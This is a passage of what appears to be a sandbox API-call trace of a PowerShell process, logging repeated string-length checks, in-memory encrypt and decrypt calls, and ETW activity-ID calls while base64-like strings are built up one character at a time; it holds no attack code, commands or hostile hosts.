[0135.610] SysStringLen (param_1="YTGfLrgP7URYFOk/HJtv6jy6vAYJizTxPfSwc泣ꚹ") returned 0x28 [0135.610] SystemFunction040 (in: Memory=0x4383ecc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383ecc) returned 0x0 [0135.610] SysStringLen (param_1="\x8375\x5a1b\x56b3\x4194\xdfd2\x72ea\x6f73\x4ec6\x35dd\x3009\x2e24\xb2ea\x14d2\x6d73\xee5c\xbe82\x7792\x814e\xd7fe\xd596\x731e\x3d9f\x740b\x8fb4\xb404\xeac6\xc07a\x9ea4\xd85d\xb88e\x1725\xa5ff\xa67a\x3f49\x9aef\x1950\xcdda\x54d7\x7ee5\x1ad") returned 0x28 [0135.610] SysStringLen (param_1="\x8375\x5a1b\x56b3\x4194\xdfd2\x72ea\x6f73\x4ec6\x35dd\x3009\x2e24\xb2ea\x14d2\x6d73\xee5c\xbe82\x7792\x814e\xd7fe\xd596\x731e\x3d9f\x740b\x8fb4\xb404\xeac6\xc07a\x9ea4\xd85d\xb88e\x1725\xa5ff\xa67a\x3f49\x9aef\x1950\xcdda\x54d7\x7ee5\x1ad") returned 0x28 [0135.610] SystemFunction041 (in: Memory=0x4383ecc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383ecc) returned 0x0 [0135.611] SysStringLen (param_1="YTGfLrgP7URYFOk/HJtv6jy6vAYJizTxPfSwcdꚹ") returned 0x28 [0135.611] SystemFunction040 (in: Memory=0x4383ecc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383ecc) returned 0x0 [0135.611] SysStringLen (param_1="\x8375\x5a1b\x56b3\x4194\xdfd2\x72ea\x6f73\x4ec6\x35dd\x3009\x2e24\xb2ea\x14d2\x6d73\xee5c\xbe82\x7792\x814e\xd7fe\xd596\x731e\x3d9f\x740b\x8fb4\xb404\xeac6\xc07a\x9ea4\xd85d\xb88e\x1725\xa5ff\xb524\x5a29\x28e3\x81c9\xc25c\x3007\xb642\xa691") returned 0x28 [0135.611] SysStringLen (param_1="\x8375\x5a1b\x56b3\x4194\xdfd2\x72ea\x6f73\x4ec6\x35dd\x3009\x2e24\xb2ea\x14d2\x6d73\xee5c\xbe82\x7792\x814e\xd7fe\xd596\x731e\x3d9f\x740b\x8fb4\xb404\xeac6\xc07a\x9ea4\xd85d\xb88e\x1725\xa5ff\xb524\x5a29\x28e3\x81c9\xc25c\x3007\xb642\xa691") returned 0x28 [0135.611] SystemFunction041 (in: Memory=0x4383ecc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383ecc) returned 0x0 [0135.611] SysStringLen (param_1="YTGfLrgP7URYFOk/HJtv6jy6vAYJizTxPfSwcdW") returned 0x28 [0135.611] SystemFunction040 (in: Memory=0x4383ecc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383ecc) returned 0x0 [0135.611] SysStringLen (param_1="\x8375\x5a1b\x56b3\x4194\xdfd2\x72ea\x6f73\x4ec6\x35dd\x3009\x2e24\xb2ea\x14d2\x6d73\xee5c\xbe82\x7792\x814e\xd7fe\xd596\x731e\x3d9f\x740b\x8fb4\xb404\xeac6\xc07a\x9ea4\xd85d\xb88e\x1725\xa5ff\xd09d\xa312\xec90\x19bf\x64fe\x5e70\x7801\xc048") returned 0x28 [0135.611] SysStringLen (param_1="\x8375\x5a1b\x56b3\x4194\xdfd2\x72ea\x6f73\x4ec6\x35dd\x3009\x2e24\xb2ea\x14d2\x6d73\xee5c\xbe82\x7792\x814e\xd7fe\xd596\x731e\x3d9f\x740b\x8fb4\xb404\xeac6\xc07a\x9ea4\xd85d\xb88e\x1725\xa5ff\xd09d\xa312\xec90\x19bf\x64fe\x5e70\x7801\xc048") returned 0x28 [0135.611] SystemFunction041 (in: Memory=0x4383ecc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383ecc) returned 0x0 [0135.611] SysStringLen (param_1="YTGfLrgP7URYFOk/HJtv6jy6vAYJizTxPfSwcdWt") returned 0x28 [0135.611] SystemFunction040 (in: Memory=0x4383ecc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383ecc) returned 0x0 [0135.611] SysStringLen (param_1="\x8375\x5a1b\x56b3\x4194\xdfd2\x72ea\x6f73\x4ec6\x35dd\x3009\x2e24\xb2ea\x14d2\x6d73\xee5c\xbe82\x7792\x814e\xd7fe\xd596\x731e\x3d9f\x740b\x8fb4\xb404\xeac6\xc07a\x9ea4\xd85d\xb88e\x1725\xa5ff\x76f\x30a3\xbf37\xdc30\x53c1\xe086\xdf97\x53e6") returned 0x28 [0135.611] SysStringLen (param_1="\x8375\x5a1b\x56b3\x4194\xdfd2\x72ea\x6f73\x4ec6\x35dd\x3009\x2e24\xb2ea\x14d2\x6d73\xee5c\xbe82\x7792\x814e\xd7fe\xd596\x731e\x3d9f\x740b\x8fb4\xb404\xeac6\xc07a\x9ea4\xd85d\xb88e\x1725\xa5ff\x76f\x30a3\xbf37\xdc30\x53c1\xe086\xdf97\x53e6") returned 0x28 [0135.611] SysStringLen (param_1="\x8375\x5a1b\x56b3\x4194\xdfd2\x72ea\x6f73\x4ec6\x35dd\x3009\x2e24\xb2ea\x14d2\x6d73\xee5c\xbe82\x7792\x814e\xd7fe\xd596\x731e\x3d9f\x740b\x8fb4\xb404\xeac6\xc07a\x9ea4\xd85d\xb88e\x1725\xa5ff\x76f\x30a3\xbf37\xdc30\x53c1\xe086\xdf97\x53e6") returned 0x28 [0135.611] SysStringLen (param_1="\x8375\x5a1b\x56b3\x4194\xdfd2\x72ea\x6f73\x4ec6\x35dd\x3009\x2e24\xb2ea\x14d2\x6d73\xee5c\xbe82\x7792\x814e\xd7fe\xd596\x731e\x3d9f\x740b\x8fb4\xb404\xeac6\xc07a\x9ea4\xd85d\xb88e\x1725\xa5ff\x76f\x30a3\xbf37\xdc30\x53c1\xe086\xdf97\x53e6") returned 0x30 [0135.611] SystemFunction041 (in: Memory=0x8e31214, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31214) returned 0x0 [0135.611] SysStringLen (param_1="YTGfLrgP7URYFOk/HJtv6jy6vAYJizTxPfSwcdWtDら챿霁马挵") returned 0x30 [0135.611] SystemFunction040 (in: Memory=0x8e31214, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31214) returned 0x0 [0135.611] SysStringLen (param_1="\x8375\x5a1b\x56b3\x4194\xdfd2\x72ea\x6f73\x4ec6\x35dd\x3009\x2e24\xb2ea\x14d2\x6d73\xee5c\xbe82\x7792\x814e\xd7fe\xd596\x731e\x3d9f\x740b\x8fb4\xb404\xeac6\xc07a\x9ea4\xd85d\xb88e\x1725\xa5ff\x76f\x30a3\xbf37\xdc30\x53c1\xe086\xdf97\x53e6\x16fb\x1e6e\xb306\xfb9d\xc93a\x14df\x4f46\x6a00") returned 0x30 [0135.611] SysStringLen (param_1="\x8375\x5a1b\x56b3\x4194\xdfd2\x72ea\x6f73\x4ec6\x35dd\x3009\x2e24\xb2ea\x14d2\x6d73\xee5c\xbe82\x7792\x814e\xd7fe\xd596\x731e\x3d9f\x740b\x8fb4\xb404\xeac6\xc07a\x9ea4\xd85d\xb88e\x1725\xa5ff\x76f\x30a3\xbf37\xdc30\x53c1\xe086\xdf97\x53e6\x16fb\x1e6e\xb306\xfb9d\xc93a\x14df\x4f46\x6a00") returned 0x30 [0135.611] SystemFunction041 (in: Memory=0x8e31214, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31214) returned 0x0 [0135.611] SysStringLen (param_1="YTGfLrgP7URYFOk/HJtv6jy6vAYJizTxPfSwcdWtDk챿霁马挵") returned 0x30 [0135.611] SystemFunction040 (in: Memory=0x8e31214, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31214) returned 0x0 [0135.612] SysStringLen (param_1="\x8375\x5a1b\x56b3\x4194\xdfd2\x72ea\x6f73\x4ec6\x35dd\x3009\x2e24\xb2ea\x14d2\x6d73\xee5c\xbe82\x7792\x814e\xd7fe\xd596\x731e\x3d9f\x740b\x8fb4\xb404\xeac6\xc07a\x9ea4\xd85d\xb88e\x1725\xa5ff\x76f\x30a3\xbf37\xdc30\x53c1\xe086\xdf97\x53e6\xd139\xdace\x70f7\x806\x6e5e\x5f45\x3176\x5e2d") returned 0x30 [0135.612] SysStringLen (param_1="\x8375\x5a1b\x56b3\x4194\xdfd2\x72ea\x6f73\x4ec6\x35dd\x3009\x2e24\xb2ea\x14d2\x6d73\xee5c\xbe82\x7792\x814e\xd7fe\xd596\x731e\x3d9f\x740b\x8fb4\xb404\xeac6\xc07a\x9ea4\xd85d\xb88e\x1725\xa5ff\x76f\x30a3\xbf37\xdc30\x53c1\xe086\xdf97\x53e6\xd139\xdace\x70f7\x806\x6e5e\x5f45\x3176\x5e2d") returned 0x30 [0135.612] SystemFunction041 (in: Memory=0x8e31214, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31214) returned 0x0 [0135.612] SysStringLen (param_1="YTGfLrgP7URYFOk/HJtv6jy6vAYJizTxPfSwcdWtDkY霁马挵") returned 0x30 [0135.612] SystemFunction040 (in: Memory=0x8e31214, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31214) returned 0x0 [0135.612] SysStringLen (param_1="\x8375\x5a1b\x56b3\x4194\xdfd2\x72ea\x6f73\x4ec6\x35dd\x3009\x2e24\xb2ea\x14d2\x6d73\xee5c\xbe82\x7792\x814e\xd7fe\xd596\x731e\x3d9f\x740b\x8fb4\xb404\xeac6\xc07a\x9ea4\xd85d\xb88e\x1725\xa5ff\x76f\x30a3\xbf37\xdc30\x53c1\xe086\xdf97\x53e6\x5a6b\x74e7\xd6c6\xeba5\xe404\xafa0\xabd1\x97c9") returned 0x30 [0135.612] SysStringLen (param_1="\x8375\x5a1b\x56b3\x4194\xdfd2\x72ea\x6f73\x4ec6\x35dd\x3009\x2e24\xb2ea\x14d2\x6d73\xee5c\xbe82\x7792\x814e\xd7fe\xd596\x731e\x3d9f\x740b\x8fb4\xb404\xeac6\xc07a\x9ea4\xd85d\xb88e\x1725\xa5ff\x76f\x30a3\xbf37\xdc30\x53c1\xe086\xdf97\x53e6\x5a6b\x74e7\xd6c6\xeba5\xe404\xafa0\xabd1\x97c9") returned 0x30 [0135.612] SystemFunction041 (in: Memory=0x8e31214, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31214) returned 0x0 [0135.612] SysStringLen (param_1="YTGfLrgP7URYFOk/HJtv6jy6vAYJizTxPfSwcdWtDkY=霁马挵") returned 0x30 [0135.612] SystemFunction040 (in: Memory=0x8e31214, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e31214) returned 0x0 [0135.612] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xef, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.612] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeacc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeacc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xef, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.612] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xee, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xee, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.612] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae604, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.612] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9dc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf0, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.612] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae93c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae93c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xee, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.612] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf0, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf0, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.613] SysStringLen (param_1="") returned 0x8 [0135.613] SysStringLen (param_1="Y") returned 0x8 [0135.613] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.613] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0135.613] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0135.613] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.613] SysStringLen (param_1="YW") returned 0x8 [0135.613] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.613] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0135.613] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0135.613] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.613] SysStringLen (param_1="YWM") returned 0x8 [0135.613] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.613] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0135.613] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0135.613] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.613] SysStringLen (param_1="YWM1") returned 0x8 [0135.613] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.613] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0135.613] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0135.613] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.613] SysStringLen (param_1="YWM1O") returned 0x8 [0135.613] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.614] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0135.614] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0135.614] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.614] SysStringLen (param_1="YWM1OT") returned 0x8 [0135.614] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.614] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0135.614] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0135.614] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.614] SysStringLen (param_1="YWM1OTE") returned 0x8 [0135.614] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.614] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0135.614] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0135.614] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.614] SysStringLen (param_1="YWM1OTEw") returned 0x8 [0135.614] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.614] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0135.614] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0135.614] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0135.614] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x10 [0135.614] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.614] SysStringLen (param_1="YWM1OTEwYၺ೮䏍뇟㫃鄏") returned 0x10 [0135.614] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.614] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0135.614] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0135.614] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.615] SysStringLen (param_1="YWM1OTEwYW೮䏍뇟㫃鄏") returned 0x10 [0135.615] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.615] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0135.615] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0135.615] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.615] SysStringLen (param_1="YWM1OTEwYWQ೮䏍뇟㫃鄏") returned 0x10 [0135.615] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.615] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0135.615] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0135.615] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.615] SysStringLen (param_1="YWM1OTEwYWQ4䏍뇟㫃鄏") returned 0x10 [0135.615] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.615] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0135.615] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0135.615] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.615] SysStringLen (param_1="YWM1OTEwYWQ4Z뇟㫃鄏") returned 0x10 [0135.615] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.615] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0135.615] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0135.615] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.615] SysStringLen (param_1="YWM1OTEwYWQ4ZT㫃鄏") returned 0x10 [0135.615] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.615] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0135.615] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0135.616] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.616] SysStringLen (param_1="YWM1OTEwYWQ4ZTI鄏") returned 0x10 [0135.616] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.616] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0135.616] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0135.616] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.616] SysStringLen (param_1="YWM1OTEwYWQ4ZTIz") returned 0x10 [0135.616] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.616] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0135.616] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0135.616] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0135.616] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x18 [0135.616] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.616] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNEꂰ㓋뺍᳧玡") returned 0x18 [0135.616] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.616] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0135.616] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0135.616] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.616] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGꂰ㓋뺍᳧玡") returned 0x18 [0135.616] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.616] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0135.616] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0135.616] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.617] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGN㓋뺍᳧玡") returned 0x18 [0135.617] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.617] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0135.617] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0135.617] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.617] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNh㓋뺍᳧玡") returned 0x18 [0135.617] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.617] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0135.617] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0135.617] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.617] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhM뺍᳧玡") returned 0x18 [0135.617] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.617] SysStringLen 